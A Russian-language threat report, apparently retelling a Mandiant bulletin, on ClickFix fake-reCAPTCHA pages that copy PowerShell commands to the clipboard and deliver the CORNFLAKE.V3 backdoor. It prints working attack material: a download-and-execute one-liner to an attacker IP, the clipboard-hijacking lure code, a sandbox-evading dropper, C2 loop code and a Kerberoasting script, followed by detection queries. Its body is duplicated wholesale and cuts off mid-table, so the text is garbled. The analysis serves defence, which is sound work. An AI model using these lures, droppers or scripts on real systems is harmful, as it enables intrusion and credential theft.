Под видом reCAPTCHA новый ClickFix загоняет PowerShell-команды прямо в буфер обмена.
Mandiant Threat Defense выпустила свежий выпуск серии Frontline Bulletin, где разобран сквозной инцидент с участием двух группировок — UNC5518 и UNC5774 . Первая компрометирует легитимные сайты и подменяет страницы проверок CAPTCHA на «ClickFix»-ловушки, вынуждая посетителей запускать команды в Windows Run. Вторая использует полученный таким образом доступ и развёртывает многофункциональную вредоносную программу CORNFLAKE.V3. Зафиксированы также эпизоды участия кластера UNC4108, применявшего PowerShell, VOLTMARKER и NetSupport RAT для разведки.
Семейство CORNFLAKE эволюционировало от простого загрузчика на C до бэкдора на JavaScript/PHP, общающегося с сервером управления (C2) по HTTP с XOR-кодированием трафика, поддерживающего закрепление и расширенный набор «полезных нагрузок» (команд/файлов).
<table border="1" cellpadding="6" cellspacing="0"> <thead> <tr> <th>Малварь </th> <th>Язык </th> <th>Тип </th> <th>Связь с C2 </th> <th>Поддерживаемые нагрузки </th> <th>Закрепление </th> </tr> </thead> <tbody> <tr> <td>CORNFLAKE (первая версия) </td> <td>C </td> <td>Загрузчик </td> <td>TCP-сокет (XOR) </td> <td>DLL </td> <td>Нет </td> </tr> <tr> <td>CORNFLAKE.V2 </td> <td>JavaScript </td> <td>Загрузчик </td> <td>HTTP (XOR) </td> <td>DLL, EXE, JS, BAT </td> <td>Нет </td> </tr> <tr> <td>CORNFLAKE.V3 </td> <td>JS или PHP </td> <td>Бэкдор </td> <td>HTTP (XOR); замечено проксирование через Cloudflare Tunnels </td> <td>DLL, EXE, JS, BAT, PS </td> <td>Да (Run-ключ реестра) </td> </tr> </tbody> </table> Начальная зацепка расследования: на одном из хостов был выполнен PowerShell через окно «Выполнить» (Windows+R). След сохранился в реестре по пути <code>HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</code>:
<pre>Name: a Value: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex" </pre> Подобные команды характерны для «ClickFix»: пользователь попадает на страницу (часто через SEO-подмену результатов поиска или рекламу) и кликает по «капче», после чего скрипт незаметно копирует команду в буфер обмена и просит вставить её в окно Run.
Пример вредоносной страницы-обманки (клик по картинке — копирование команды):
<pre>// Отображение «капчи» <div class="c" id="j"> <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo"> <span>I'm not a robot</span> </div> // Сама команда PowerShell — в переменной _0xC var _0xC = "powershell -w h -c \"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex\""; // Копирование в буфер по клику document.getElementById("j").onclick = function(){ var ta = document.createElement("textarea"); ta.value = _0xC; document.body.appendChild(ta); ta.select(); document.execCommand("copy"); } </pre> PowerShell делает HTTP-запрос вида:
<pre>GET /1742214432 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486 Host: 138.199.161[.]141:8080 Connection: Keep-Alive </pre> Далее отрабатывает PowerShell-дроппер с проверками на песочницу/VM и загрузкой Node.js . Ниже приводится укороченный образец (по смыслу — аналогичный скрипту по пути <code>/1742214432</code>), где видно детект QEMU, пороги по памяти, шаблон имени, скачивание Node.js, декодирование встроенного CORNFLAKE.V3 и запуск через <code>node.exe -e</code>:
<pre># Выход, если QEMU $Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer if ($Manufacturer -eq "QEMU") { exit 0 } # Порог по памяти $TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB $AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB $UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 } # Шаблон имени if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 } sleep 1 # Скачивание Node.js и распаковка в %APPDATA% $ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip" $DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "") $ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip") iwr -Uri $ZipURL -OutFile $ZipFile try { $Shell = New-Object -ComObject Shell.Application $ZIP = $Shell.NameSpace($ZipFile) $Destination = $Shell.NameSpace($DestinationFolder) $Destination.CopyHere($ZIP.Items(), 20) } catch { exit 0 } $DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64") # Встроенный Base64-блоб с CORNFLAKE.V3 (Node.js) $BASE64STRING = <Base-64 encoded CORNFLAKE.V3 sample> $BINARYDATA = [Convert]::FromBase64String($BASE64STRING) $StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA) # Запуск node.exe с -e $Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe") start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle Hidden </pre> На сети наблюдался DNS-запрос к <code>nodejs[.]org</code> и скачивание архива <code>downloaded.zip</code> (SHA-256: <code>905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236</code>) с последующей распаковкой в <code>%APPDATA%\node-v22.11.0-win-x64\</code>. Запуск бэкдора происходил командой <code>node.exe -e "<JS-код CORNFLAKE.V3>"</code>.
Процессное дерево выглядело так:
<pre>explorer.exe ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "<Run-строка>" ↳ %APPDATA%\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}" ↳ powershell.exe -c "{Initial check and System Information Collection}" ↳ ARP.EXE -a ↳ chcp.com 65001 ↳ systeminfo.exe ↳ tasklist.exe /svc ↳ cmd.exe /d /s /c "wmic process where processid=<pid> get commandline" ↳ cmd.exe /d /s /c "{Kerberoasting}" ↳ cmd.exe /d /s /c "{AD Recon}" ↳ cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}" </pre> <h3>Разбор CORNFLAKE.V3 (Node.js-вариант)</h3> Сэмпл не был обфусцирован, что позволило статический анализ. На старте выполняется проверка аргументов, чтобы гарантировать одиночный экземпляр (форк в дочерний процесс с дополнительным аргументом «1», родитель завершается):
<pre>if (process.argv[1] !== undefined && process.argv[2] === undefined) { const child = spawn(process.argv[0], [process.argv[1], '1'], {detached: true, stdio: 'ignore', windowsHide: true, }); child.unref(); process.exit(0); } </pre> Далее идёт сбор сведений о системе через PowerShell (версия, уровень привилегий, <code>systeminfo</code>, <code>tasklist /svc</code>, список служб, дисков, ARP):
<pre>let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' + ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { \'Runas: System\' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole ([Security.Principal.WindowsBuiltInRole]::Administrator)) { \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo \'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | Select-Object Name, DisplayName | Format-List ; echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true }); </pre> C2-инициализация опирается на списки доменных имён и IP; при неудаче с именем делается попытка по IP, задержки регулируются:
<pre>// Хосты C2 const hosts = ['159.69.3[.]151']; const hostsIp = ['159.69.3[.]151']; let useIp = 0; let delay = 1; async function mainloop() { let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; while (true) {await new Promise((r) => setTimeout(r, delay));try { if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; } else { await main(toIp, PORT_IP); useIp++; if (useIp >= 210) useIp = 0; }} catch (e) { toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; useIp++; delay = 1000 * 10; continue;}delay = 1000 * 60 * 5; } } </pre> Первичный POST уходит на <code>/init1234</code> с XOR-зашифрованным телом. Ответы интерпретируются так: <strong>ooff</strong> — завершение процесса; <strong>atst</strong> — функция закрепления (Run-ключ). При получении иных данных содержимое трактуется как «полезная нагрузка», тип определяется последним байтом.
<table border="1" cellpadding="6" cellspacing="0"> <thead> <tr> <th>Код </th> <th>Тип </th> <th>Действие </th> </tr> </thead> <tbody> <tr> <td>0 </td> <td>EXE </td> <td>Сохранение в <code>%APPDATA%\<rand8>\<rand8>.exe</code> и запуск </td> </tr> <tr> <td>1 </td> <td>DLL </td> <td>Сохранение в <code>%APPDATA%\<rand8>\<rand8>.dll</code>, запуск через <code>rundll32.exe</code> </td> </tr> <tr> <td>2 </td> <td>JS </td> <td>Исполнение в памяти как аргумент <code>node.exe</code> </td> </tr> <tr> <td>3 </td> <td>CMD </td> <td>Запуск строки в <code>cmd.exe</code>; вывод сохраняется и отправляется в C2 </td> </tr> <tr> <td>4 </td> <td>Прочее </td> <td>Запись в <code>%APPDATA%\<rand8>\<rand8>.log</code> </td> </tr> </tbody> </table> <h4>Закрепление (Node.js-вариант)</h4> Функция <code>atst</code> формирует Run-ключ <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater</code>. Командная строка текущего <code>node.exe</code> извлекается через <code>wmic</code>: если процесс запущен с <code>-e</code>, встроенный JS-текст сохраняется в <code><rand8>.log</code> в каталоге Node.js, а путь помещается в Run-ключ; если файл запускался напрямую, в Run-ключ попадает его путь.
<h4>Наблюдавшиеся нагрузки</h4> Разведка домена AD: проверка доменной принадлежности, подсчёт объектов «компьютер»; <code>whoami /all</code>; <code>nltest /domain_trusts</code>; <code>nltest /dclist:<domain></code>; запрос SPN: <code>setspn -T <UserDomain> -Q */*</code> с фильтрацией; при отсутствии домена — перечисление локальных групп и их членов.
Kerberoasting : выборка учёток с SPN, запрос TGS и форматирование хэшей для последующего перебора. Ниже — фрагмент PowerShell-скрипта:
<pre>$a = 'System.IdentityModel'; $b = [Reflection.Assembly]::LoadWithPartialName($a); $c = New-Object DirectoryServices.DirectorySearcher([ADSI]''); $c.filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $d = $c.Findall(); foreach($e in $d) { $f = $e.GetDirectoryEntry(); $g = $f.samAccountName; if ($g -ne 'krbtgt') {Start-Sleep -Seconds (Get-Random -Minimum 1 -Maximum 11);foreach($h in $f.servicePrincipalName) { $i = $null; try { $i = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $h; } catch {} if ($i -ne $null) { $j = $i.GetRequest(); if ($j) {$k = [System.BitConverter]::ToString($j) -replace '-';[System.Collections.ArrayList]$l = ($k -replace '^(.*?)04820...(.*)', '$2') -split 'A48201';$l.RemoveAt($l.Count - 1);$m = $l -join 'A48201';try { $m = $m.Insert(32, '$'); $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m; Write-Host $n; break;} catch {} } }} } } </pre> <h3>PHP-вариант CORNFLAKE.V3</h3> Обнаружен новый вариант на PHP: in-memory-скрипт (последствие ClickFix) загружает <code>php.zip</code> с <code>windows.php[.]net</code>, распаковывает в <code>C:\Users\<User>\AppData\Roaming\php\</code>, кладёт сам сэмпл в <code>config.cfg</code> и запускает:
<pre>"C:\\Users<User>\\AppData\\Roaming\\php\\php.exe" -d extension=zip -d extension_dir=ext C:\Users<User>\AppData\Roaming\php\config.cfg 1 </pre> Закрепление строится на Run-ключе с произвольным именем (не «ChromeUpdater»). Для связи используется динамический путь, например:
<pre>POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1 Host: varying-rentals-calgary-predict.trycloudflare[.]com Connection: close Content-Length: 39185 Content-type: application/octet-stream </pre> Типы нагрузок в PHP-версии частично переопределены; добавлены команды <strong>ACTIVE</strong> (счётчик активности) и <strong>AUTORUN</strong> (создание Run-ключа). Расширения <code>.png</code>/<code>.jpg</code> используются для маскировки библиотек и JS-скриптов.
<table border="1" cellpadding="6" cellspacing="0"> <thead> <tr> <th>Код </th> <th>Тип </th> <th>Примечание </th> </tr> </thead> <tbody> <tr> <td>0 </td> <td>EXE </td> <td>Сохранение в <code>%APPDATA%\<rand8>\<rand8>.exe</code>, запуск скрыто через PowerShell </td> </tr> <tr> <td>1 </td> <td>DLL </td> <td>Сохранение как <code>.png</code>, запуск через <code>rundll32.exe</code> </td> </tr> <tr> <td>2 </td> <td>JS </td> <td>Сохранение как <code>.jpg</code>; при отсутствии Node.js — попытка скачать <code>node-v21.7.3-win-x64.zip</code> с <code>nodejs[.]org</code> </td> </tr> <tr> <td>3 </td> <td>CMD </td> <td>Исполнение строки через <code>cmd.exe</code> или <code>powershell.exe</code> </td> </tr> <tr> <td>4 </td> <td>ACTIVE </td> <td>Отправка <code>active_cnt</code> на C2 </td> </tr> <tr> <td>5 </td> <td>AUTORUN </td> <td>Создание Run-ключа для автозапуска PHP-скрипта </td> </tr> <tr> <td>6 </td> <td>OFF </td> <td>Завершение работы (<code>exit(0)</code>) </td> </tr> <tr> <td>— </td> <td>Прочее </td> <td>Сохранение в <code>.txt</code> в <code>%APPDATA%</code> </td> </tr> </tbody> </table> Пример развёртывания в PHP-сценарии завершился получением DLL-нагрузки — бэкдора <strong>WINDYTWIST.SEA</strong> (файл: <code>C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png</code>), запущенного через <code>rundll32</code>. Указаны C2-адреса: <code>tcp://167.235.235[.]151:443</code>, <code>tcp://128.140.120[.]188:443</code>, <code>tcp://177.136.225[.]135:443</code>. Имплант реализован на C, поддерживает реверс-шелл, ретрансляцию TCP и самоудаление; встречались попытки латерального перемещения.
Процессное дерево варианта на PHP:
<pre>explorer.exe ↳ powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip; & ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))"↳ clip.exe↳ powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ"↳ systeminfo.exe↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}"↳ cmd.exe /s /c "powershell -c {команды разведки хоста}"↳ cmd.exe /s /c "reg add HKCU\...\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>\" \"<script_path>\"" /f"↳ rundll32.exe "{WINDYTWIST.SEA}" start </pre> <h3>Наблюдавшиеся тактики</h3>
<h4>Поисковые запросы (UDM) для охоты</h4> <strong>Запуск CORNFLAKE.V3 — Node.js</strong>
<pre><span class="extremist-highlight" title="Соцсеть признана экстремистской и запрещена на территории РФ">meta</span>data.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase </pre> <strong>Запуск CORNFLAKE.V3 — PHP</strong>
<pre>metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase target.process.command_line != /\.php\s*\s*/ nocase </pre> <strong>Дочерние процессы от node.exe/php.exe в %APPDATA%</strong>
<pre>metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase </pre> <strong>Подозрительные соединения к доменам Node.js/PHP</strong>
<pre>metadata.event_type = "NETWORK_CONNECTION" principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase target.hostname = /nodejs\.org|windows\.php\.net/ nocase </pre> <h3>Смягчение рисков и выводы</h3>
Благодарности в оригинальном отчёте: Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis, Rommel Joven.
Mandiant Threat Defense выпустила свежий выпуск серии Frontline Bulletin, где разобран сквозной инцидент с участием двух группировок — UNC5518 и UNC5774 . Первая компрометирует легитимные сайты и подменяет страницы проверок CAPTCHA на «ClickFix»-ловушки, вынуждая посетителей запускать команды в Windows Run. Вторая использует полученный таким образом доступ и развёртывает многофункциональную вредоносную программу CORNFLAKE.V3. Зафиксированы также эпизоды участия кластера UNC4108, применявшего PowerShell, VOLTMARKER и NetSupport RAT для разведки.
Семейство CORNFLAKE эволюционировало от простого загрузчика на C до бэкдора на JavaScript/PHP, общающегося с сервером управления (C2) по HTTP с XOR-кодированием трафика, поддерживающего закрепление и расширенный набор «полезных нагрузок» (команд/файлов).
<table border="1" cellpadding="6" cellspacing="0"> <thead> <tr> <th>Малварь </th> <th>Язык </th> <th>Тип </th> <th>Связь с C2 </th> <th>Поддерживаемые нагрузки </th> <th>Закрепление </th> </tr> </thead> <tbody> <tr> <td>CORNFLAKE (первая версия) </td> <td>C </td> <td>Загрузчик </td> <td>TCP-сокет (XOR) </td> <td>DLL </td> <td>Нет </td> </tr> <tr> <td>CORNFLAKE.V2 </td> <td>JavaScript </td> <td>Загрузчик </td> <td>HTTP (XOR) </td> <td>DLL, EXE, JS, BAT </td> <td>Нет </td> </tr> <tr> <td>CORNFLAKE.V3 </td> <td>JS или PHP </td> <td>Бэкдор </td> <td>HTTP (XOR); замечено проксирование через Cloudflare Tunnels </td> <td>DLL, EXE, JS, BAT, PS </td> <td>Да (Run-ключ реестра) </td> </tr> </tbody> </table> Начальная зацепка расследования: на одном из хостов был выполнен PowerShell через окно «Выполнить» (Windows+R). След сохранился в реестре по пути <code>HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</code>:
<pre>Name: a Value: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex" </pre> Подобные команды характерны для «ClickFix»: пользователь попадает на страницу (часто через SEO-подмену результатов поиска или рекламу) и кликает по «капче», после чего скрипт незаметно копирует команду в буфер обмена и просит вставить её в окно Run.
Пример вредоносной страницы-обманки (клик по картинке — копирование команды):
<pre>// Отображение «капчи» <div class="c" id="j"> <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo"> <span>I'm not a robot</span> </div> // Сама команда PowerShell — в переменной _0xC var _0xC = "powershell -w h -c \"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex\""; // Копирование в буфер по клику document.getElementById("j").onclick = function(){ var ta = document.createElement("textarea"); ta.value = _0xC; document.body.appendChild(ta); ta.select(); document.execCommand("copy"); } </pre> PowerShell делает HTTP-запрос вида:
<pre>GET /1742214432 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486 Host: 138.199.161[.]141:8080 Connection: Keep-Alive </pre> Далее отрабатывает PowerShell-дроппер с проверками на песочницу/VM и загрузкой Node.js . Ниже приводится укороченный образец (по смыслу — аналогичный скрипту по пути <code>/1742214432</code>), где видно детект QEMU, пороги по памяти, шаблон имени, скачивание Node.js, декодирование встроенного CORNFLAKE.V3 и запуск через <code>node.exe -e</code>:
<pre># Выход, если QEMU $Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer if ($Manufacturer -eq "QEMU") { exit 0 } # Порог по памяти $TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB $AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB $UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 } # Шаблон имени if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 } sleep 1 # Скачивание Node.js и распаковка в %APPDATA% $ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip" $DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "") $ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip") iwr -Uri $ZipURL -OutFile $ZipFile try { $Shell = New-Object -ComObject Shell.Application $ZIP = $Shell.NameSpace($ZipFile) $Destination = $Shell.NameSpace($DestinationFolder) $Destination.CopyHere($ZIP.Items(), 20) } catch { exit 0 } $DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64") # Встроенный Base64-блоб с CORNFLAKE.V3 (Node.js) $BASE64STRING = <Base-64 encoded CORNFLAKE.V3 sample> $BINARYDATA = [Convert]::FromBase64String($BASE64STRING) $StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA) # Запуск node.exe с -e $Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe") start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle Hidden </pre> На сети наблюдался DNS-запрос к <code>nodejs[.]org</code> и скачивание архива <code>downloaded.zip</code> (SHA-256: <code>905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236</code>) с последующей распаковкой в <code>%APPDATA%\node-v22.11.0-win-x64\</code>. Запуск бэкдора происходил командой <code>node.exe -e "<JS-код CORNFLAKE.V3>"</code>.
Процессное дерево выглядело так:
<pre>explorer.exe ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "<Run-строка>" ↳ %APPDATA%\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}" ↳ powershell.exe -c "{Initial check and System Information Collection}" ↳ ARP.EXE -a ↳ chcp.com 65001 ↳ systeminfo.exe ↳ tasklist.exe /svc ↳ cmd.exe /d /s /c "wmic process where processid=<pid> get commandline" ↳ cmd.exe /d /s /c "{Kerberoasting}" ↳ cmd.exe /d /s /c "{AD Recon}" ↳ cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}" </pre> <h3>Разбор CORNFLAKE.V3 (Node.js-вариант)</h3> Сэмпл не был обфусцирован, что позволило статический анализ. На старте выполняется проверка аргументов, чтобы гарантировать одиночный экземпляр (форк в дочерний процесс с дополнительным аргументом «1», родитель завершается):
<pre>if (process.argv[1] !== undefined && process.argv[2] === undefined) { const child = spawn(process.argv[0], [process.argv[1], '1'], {detached: true, stdio: 'ignore', windowsHide: true, }); child.unref(); process.exit(0); } </pre> Далее идёт сбор сведений о системе через PowerShell (версия, уровень привилегий, <code>systeminfo</code>, <code>tasklist /svc</code>, список служб, дисков, ARP):
<pre>let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' + ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match '(?i)SYSTEM') { \'Runas: System\' } elseif (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole ([Security.Principal.WindowsBuiltInRole]::Administrator)) { \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo \'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | Select-Object Name, DisplayName | Format-List ; echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true }); </pre> C2-инициализация опирается на списки доменных имён и IP; при неудаче с именем делается попытка по IP, задержки регулируются:
<pre>// Хосты C2 const hosts = ['159.69.3[.]151']; const hostsIp = ['159.69.3[.]151']; let useIp = 0; let delay = 1; async function mainloop() { let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; while (true) {await new Promise((r) => setTimeout(r, delay));try { if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; } else { await main(toIp, PORT_IP); useIp++; if (useIp >= 210) useIp = 0; }} catch (e) { toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length]; toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length]; useIp++; delay = 1000 * 10; continue;}delay = 1000 * 60 * 5; } } </pre> Первичный POST уходит на <code>/init1234</code> с XOR-зашифрованным телом. Ответы интерпретируются так: <strong>ooff</strong> — завершение процесса; <strong>atst</strong> — функция закрепления (Run-ключ). При получении иных данных содержимое трактуется как «полезная нагрузка», тип определяется последним байтом.
<table border="1" cellpadding="6" cellspacing="0"> <thead> <tr> <th>Код </th> <th>Тип </th> <th>Действие </th> </tr> </thead> <tbody> <tr> <td>0 </td> <td>EXE </td> <td>Сохранение в <code>%APPDATA%\<rand8>\<rand8>.exe</code> и запуск </td> </tr> <tr> <td>1 </td> <td>DLL </td> <td>Сохранение в <code>%APPDATA%\<rand8>\<rand8>.dll</code>, запуск через <code>rundll32.exe</code> </td> </tr> <tr> <td>2 </td> <td>JS </td> <td>Исполнение в памяти как аргумент <code>node.exe</code> </td> </tr> <tr> <td>3 </td> <td>CMD </td> <td>Запуск строки в <code>cmd.exe</code>; вывод сохраняется и отправляется в C2 </td> </tr> <tr> <td>4 </td> <td>Прочее </td> <td>Запись в <code>%APPDATA%\<rand8>\<rand8>.log</code> </td> </tr> </tbody> </table> <h4>Закрепление (Node.js-вариант)</h4> Функция <code>atst</code> формирует Run-ключ <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater</code>. Командная строка текущего <code>node.exe</code> извлекается через <code>wmic</code>: если процесс запущен с <code>-e</code>, встроенный JS-текст сохраняется в <code><rand8>.log</code> в каталоге Node.js, а путь помещается в Run-ключ; если файл запускался напрямую, в Run-ключ попадает его путь.
<h4>Наблюдавшиеся нагрузки</h4> Разведка домена AD: проверка доменной принадлежности, подсчёт объектов «компьютер»; <code>whoami /all</code>; <code>nltest /domain_trusts</code>; <code>nltest /dclist:<domain></code>; запрос SPN: <code>setspn -T <UserDomain> -Q */*</code> с фильтрацией; при отсутствии домена — перечисление локальных групп и их членов.
Kerberoasting : выборка учёток с SPN, запрос TGS и форматирование хэшей для последующего перебора. Ниже — фрагмент PowerShell-скрипта:
<pre>$a = 'System.IdentityModel'; $b = [Reflection.Assembly]::LoadWithPartialName($a); $c = New-Object DirectoryServices.DirectorySearcher([ADSI]''); $c.filter = '(&(servicePrincipalName=*)(objectCategory=user))'; $d = $c.Findall(); foreach($e in $d) { $f = $e.GetDirectoryEntry(); $g = $f.samAccountName; if ($g -ne 'krbtgt') {Start-Sleep -Seconds (Get-Random -Minimum 1 -Maximum 11);foreach($h in $f.servicePrincipalName) { $i = $null; try { $i = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $h; } catch {} if ($i -ne $null) { $j = $i.GetRequest(); if ($j) {$k = [System.BitConverter]::ToString($j) -replace '-';[System.Collections.ArrayList]$l = ($k -replace '^(.*?)04820...(.*)', '$2') -split 'A48201';$l.RemoveAt($l.Count - 1);$m = $l -join 'A48201';try { $m = $m.Insert(32, '$'); $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m; Write-Host $n; break;} catch {} } }} } } </pre> <h3>PHP-вариант CORNFLAKE.V3</h3> Обнаружен новый вариант на PHP: in-memory-скрипт (последствие ClickFix) загружает <code>php.zip</code> с <code>windows.php[.]net</code>, распаковывает в <code>C:\Users\<User>\AppData\Roaming\php\</code>, кладёт сам сэмпл в <code>config.cfg</code> и запускает:
<pre>"C:\\Users<User>\\AppData\\Roaming\\php\\php.exe" -d extension=zip -d extension_dir=ext C:\Users<User>\AppData\Roaming\php\config.cfg 1 </pre> Закрепление строится на Run-ключе с произвольным именем (не «ChromeUpdater»). Для связи используется динамический путь, например:
<pre>POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1 Host: varying-rentals-calgary-predict.trycloudflare[.]com Connection: close Content-Length: 39185 Content-type: application/octet-stream </pre> Типы нагрузок в PHP-версии частично переопределены; добавлены команды <strong>ACTIVE</strong> (счётчик активности) и <strong>AUTORUN</strong> (создание Run-ключа). Расширения <code>.png</code>/<code>.jpg</code> используются для маскировки библиотек и JS-скриптов.
<table border="1" cellpadding="6" cellspacing="0"> <thead> <tr> <th>Код </th> <th>Тип </th> <th>Примечание </th> </tr> </thead> <tbody> <tr> <td>0 </td> <td>EXE </td> <td>Сохранение в <code>%APPDATA%\<rand8>\<rand8>.exe</code>, запуск скрыто через PowerShell </td> </tr> <tr> <td>1 </td> <td>DLL </td> <td>Сохранение как <code>.png</code>, запуск через <code>rundll32.exe</code> </td> </tr> <tr> <td>2 </td> <td>JS </td> <td>Сохранение как <code>.jpg</code>; при отсутствии Node.js — попытка скачать <code>node-v21.7.3-win-x64.zip</code> с <code>nodejs[.]org</code> </td> </tr> <tr> <td>3 </td> <td>CMD </td> <td>Исполнение строки через <code>cmd.exe</code> или <code>powershell.exe</code> </td> </tr> <tr> <td>4 </td> <td>ACTIVE </td> <td>Отправка <code>active_cnt</code> на C2 </td> </tr> <tr> <td>5 </td> <td>AUTORUN </td> <td>Создание Run-ключа для автозапуска PHP-скрипта </td> </tr> <tr> <td>6 </td> <td>OFF </td> <td>Завершение работы (<code>exit(0)</code>) </td> </tr> <tr> <td>— </td> <td>Прочее </td> <td>Сохранение в <code>.txt</code> в 